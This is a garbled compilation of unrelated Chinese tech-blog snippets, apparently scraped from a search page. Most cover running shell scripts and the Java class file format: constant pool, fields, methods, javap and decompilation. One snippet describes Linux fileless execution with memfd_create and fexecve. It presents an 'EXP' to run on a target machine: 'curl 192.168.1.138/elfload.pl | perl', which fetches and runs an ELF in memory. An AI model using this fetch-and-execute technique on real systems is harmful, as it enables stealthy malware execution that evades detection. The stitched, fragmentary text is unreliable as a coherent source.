/hello.sh【hello.sh必须有x权限】 二、直接sh 加上文件名.sh，如运行hello.sh为sh hello.sh【hello.sh可以没有x权限】 方法一：绝对路径执行.sh文件...到.sh文件所在目录 比如以hello.sh文件为例，如下 2、给.sh文件添加x执行权限 比如以hello.sh文件为例，chmod u+x hello.sh，如下图 3、..../执行.sh文件 比如以hello.sh文件为例，..../hello.sh 即可执行hello.sh文件，如下图 4、sh 执行.sh文件 以hello.sh文件为例，sh hello.sh即可执行hello.sh文件，如下图 注：用“./”加文件名.sh...执行时，必须给.sh文件加x执行权限
在MySQL下执行： source /home/jiangxingqi/DB/hello world.sql
创建sh后缀文件： touch test.sh #!
02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2)，它在内核3.17中引入，会创建一个匿名文件并返回一个文件描述符指向它，该文件表现和常规文件类同， 可以进行修改...memfd_create()调用时需要传入两个参数，一个是文件名，一个是MFD_CLOEXEC标志（类似于O_CLOEXEC），以便当我们执行ELF二进制文件时，我们得到的文件描述符将被自动关闭。...这里还有一个问题，如何将elf二进制文件写入到创建的文件当中，@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中，而$FH通过perl转化自要执行的elf文件，这就是该脚本的第二部分...第三部分就是执行该文件了，调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了，我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了，从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。
继续2020年的flag，至少每周更一篇文章，今天讲linux无文件执行。...无文件执行 之前的文章中，我们讲到了无文件执行的方法以及混淆进程参数的方法，今天我们继续讲解一种linux无文件执行的技巧，是后台朋友给我的提醒，万分感谢，又学到了新的东西。...linux无文件执行，首先要提到两个函数：memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件，因为/dev/shm在内存中，因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行，可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢？
十六进制查看（不仅class文件可以看，其他文件格式也可以） hexdump -C XXX.class #注意C是大写(小写c则输出十进制) 反汇编查看 javap -c XXX.class javap
本文，我们编写JAVA程序来解析class文件，读者注意，阅读本文前先详细了解Class文件结构，可参考笔者前一篇文章：Class文件结构(1)—手动解析每一个字节，你看不懂 代码地址：https...analysis方法的入参是class文件内容的字节缓存，从class文件中读取而来。...文件"); } } } 3.解析版本号 class文件结构的版本号分为主版本号和副版本号，它们共同构成class文件格式的版本号[1]。...该class文件字节缓存与class文件结构各项解析器使用的是同一个缓存对象，都是从同一个class文件读取到内存中的ByteBuffer对象。...懂的都懂，一定要结合我前面的文章看，通过编写一个简单的Class文件结构解析工具项目，不仅对Class文件结构有了深刻的了解，还能自己实现Class文件结构的解析。
“ 我们都知道Java虚拟机不和包括Java在的任何语言绑定，它只与Class文件这种特定的二进制文件格式所关联。而Class文件是由java文件经过javac编译器编译后生成的。” ?...01 — Class类文件结构 在深入理解Java虚拟机一书中是先介绍概念然后具体分析，这里我就反过来描述，我们先看一下class文件，这里我打开一个本地被编译过的class文件，我们看到它是乱码的。...文件，但是不能低版本JDK运行高版本编译后的Class文件，即时文件格式并未发生任何变化，Java虚拟机也必须拒绝执行超过其版本号的Class文件。...既然0x0a=10属于CONSTANNT_METHODREF_info(表)，那么其后的四个字节分别如上表一样0x008b指向CONSTANT_Class_info和0x00f1执行CONSTANT_NameAndType...Class文件是一组以8字节为基础单位的二进制流，各个数据项目严格按照顺序紧凑排列在class文件中，中间没有任何分隔符，这使得class文件中存储的内容几乎全部是程序运行的必要程序。
JVM系列笔记目录 虚拟机的基础概念 class文件结构 class文件加载过程 jvm内存模型 JVM常用指令 GC与调优 Class文件加载过程 JVM加载Class文件主要分3个过程：Loading...、Linking、Initialzing 1.Loading Loading的过程就是通过类加载器将 .class 文件加载到jvm内存中过程。...loadClass() Class执行方式 Class执行方式分为3种：解释执行、编译执行、混合执行，各有优缺点，可通过参数指定。...Vertification：验证Class文件是否符合JVM规定。...思考方向， class 文件load到内存，给静态变量赋默认值，再赋初始值，new 对象的时候，首先要申请内存空间，然后给成员变量赋默认值，接下来给成员变量赋初始值，这个过程中对象有可能处于半初始化状态
在经历过了魔数(u4)、文件版本(u2+u2)、常量池(u2(常量池元素的数量)+具体字节数)、类访问标记(u2)、类索引(u2)、父类索引(u2)、接口(u2(接口的数量) + 具体的字节数)之后，我们便进入了类的内部...实例分析 public class ClassTest { private transient int m; private int inc() { return m...首先前两个字节0x0001，通过这里我们知道该class文件有一个字段，其中他的访问标志是0x0002，说明该字段是个private字段，该字段的简单名称在常量池的索引为0x0005，通过下图(javap...-v 反编译的class文件)我们可以看出常量池中的第5项是m，该字段段的描述符为0x0006，在常量池重视个I，说明该字段的数据类型为int，紧接着后面该是该字段的属性表，该字段没有属性表，因此是0x0000
以如下代码来分析 public final class Test2 implements Serializable,Runnable{ private static final String NAME...方法表集合 方法表和字段表很相似，如果字段表弄清楚了那么方法表也很简单，先来看下classpy观察的样例结果: public final class Test2 { private static...描述方法规则 参数列表在前返回值在后 public final class Test2 { private static final String NAME="bobo"; private
概述 常量池是紧接着主次版本号之后出现的，常量池可以理解为class文件之中的资源仓库，它是Class文件结构中与其他项目管理最多的数据类型，也是占用Class文件空间最大的数据项目之一，同时它还是在...Class文件中第一个出现的表类型数据项目。...案例代码还是和前一篇的一样，如下： public class Test { private int a; public int run(){ System.out.println("波波烤鸭...常量池中存储着最基本的信息，不仅程序会用到，而且Class文件本身也会通过#来引用 ?...文件中引导方法表的bootstrap methods[]数组的有效索引 name_and_type_index u2 值必须是对当前常量池的有效索引,常量池在该处的索引必须是CONSTANT_NameAndType_info
访问标志 在常量池结束后，紧接着的两个字节代表访问标志(access_flags)，这个标志用于识别一些类或者接口层次的访问信息，包括：这个Class是类还是接口，是否定义为public类型，是否定义为...类索引，父类索引与接口索引集合 类索引(this_class)和父类索引(super_class)都是一个u2类型的数据，接口索引计数器也是一个u2类型的数据，接口索引集合则是一组u2类型的数据集合...,Class文件中的这几项数据来确定这个类的继承关系 类索引 确定当前类的全限定名 ?...由于java单继承的原则，所以父类只可能有一个；由于Object是所有其他类的基类，所以除了Object类本身的super_class为0意外，其余的所有类的super_class都不为0. ?...小结: 类索引的直接值，父类索引的直接值，接口索引集合中的索引的直接值，代表的是一个常量池中的索引值，该索引值对应为一个CONSTANT_Class_info , CONSTANT_Class_info
残酷连接着愚昧，狡诈紧随着天真——高尔基 这是我从朋友分享的一篇博客上学来的 idea64 $FileNameWithoutExtension$.class $OutputPath$/$FileDirRelativeToSourcepath
通过JVM编译java文件生成class字节码文件，很多时候很想用工具打开看看，目前还不清楚哪一个软件专门查看class文件的，但是通过windows下的javap命令可以查看详细的class文件 ShowClass.java...文件源码很简单main函数直接打印“Hello class file!”
命令 javac Hello.java dx --dex -- output=Hello.dex Hello.class javap -c -classpath ....dexdump.exe 位于Android SDK 的 platform-tools dexdump.exe -d Hello.dex 如果使用JDK1.7编译Hello.java 生成的Hello.class...默认的版本会比较低 使用dx生成dex文件会提示class文件无效 javac -source 1.6 -target 1.6 Hello.java
类文件结构 class 文件是一组以8位字节位基础单位的二进制流，各个数据项目按照顺序紧凑排列在class文件中 class 文件格式采用一种类似C语言结构体的伪代码来存储数据，这种伪结构中只有无符号数和表...，2个字节，4个字节，8个字节的无符号数 无符号可以用来描述数字，索引引用，数量值或按照utf-8编码构成字符串值 表是由多个无符号或者其他表作为数据项构成的复合数据类型，表通常以“_info”结尾 class...class 文件的头4个字节称为魔数（Magic Number）,他用作确定这个文件是否为一个虚拟机所接受的class文件 ?...常量池 常量池是class文件的资源仓库 常量池主要存放两大类常量，字面量(Literal)和符号引用（Symbolic Reference） 字面量类似Java语言层面的常量概念，如文本字符串，声明为...（class是类还是接口，是否为public类型，是为abstract类型，是否被声明为final） ? 参考学习 垃圾回收器是如何演进的？ 垃圾回收算法是如何设计的？
属性表 在前面的内容中属性表(attribute_info)已经出现多多次了，在Class文件、字段表、方法表中都可以携带自己的属性集合，用于描述某些场景专有的信息 ? ...与class文件中其他的数据项目要求严格的顺序、长度和内容不同，属性表集合的限制稍微宽松些，不在要求各个属性表具有严格顺序，并且只要不与已有属性名称重复，任何人实现的编译器都可以向属性表中写入自己的属性信息...在方法执行的任意时刻，操作数栈都不会超过这个深度. 虚拟机的时候需要根据这个值来分配栈帧(Stack Frame)中的操作占深度。 max_locals：代表了局部变量表所需的存储空间。...当代码执行超出一个局部变量的做用户与使时，这个局部变量所占用放入Slot可以被其它局部变量所使用，Javac编译器会根据变量的作用域来分配Slot给各个变量使用，然后计算出max_locals的大小。...SourceFile属性 SourceFile属性用于记录生成这个Class文件的源码文件名称 名称 类型 数量 attribute_name_index u2 1 attribute_length u4
将.class文件转换为.java文件的方法有两种： 方法一：使用Java反编译工具 下载并安装Java反编译工具，比如JD-GUI、Fernflower等。...打开反编译工具，选择要转换的.class文件。 点击反编译按钮，工具会将.class文件转换为对应的.java文件。...方法二：使用Java反射机制 使用Java反射机制，通过Class类的getResourceAsStream()方法获取.class文件的输入流。...使用ASM库或其他类似的字节码操作库，将输入流中的字节码转换为对应的.java文件。...文件的输入流 InputStream inputStream = ClassToJavaConverter.class.getResourceAsStream("YourClass.class
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
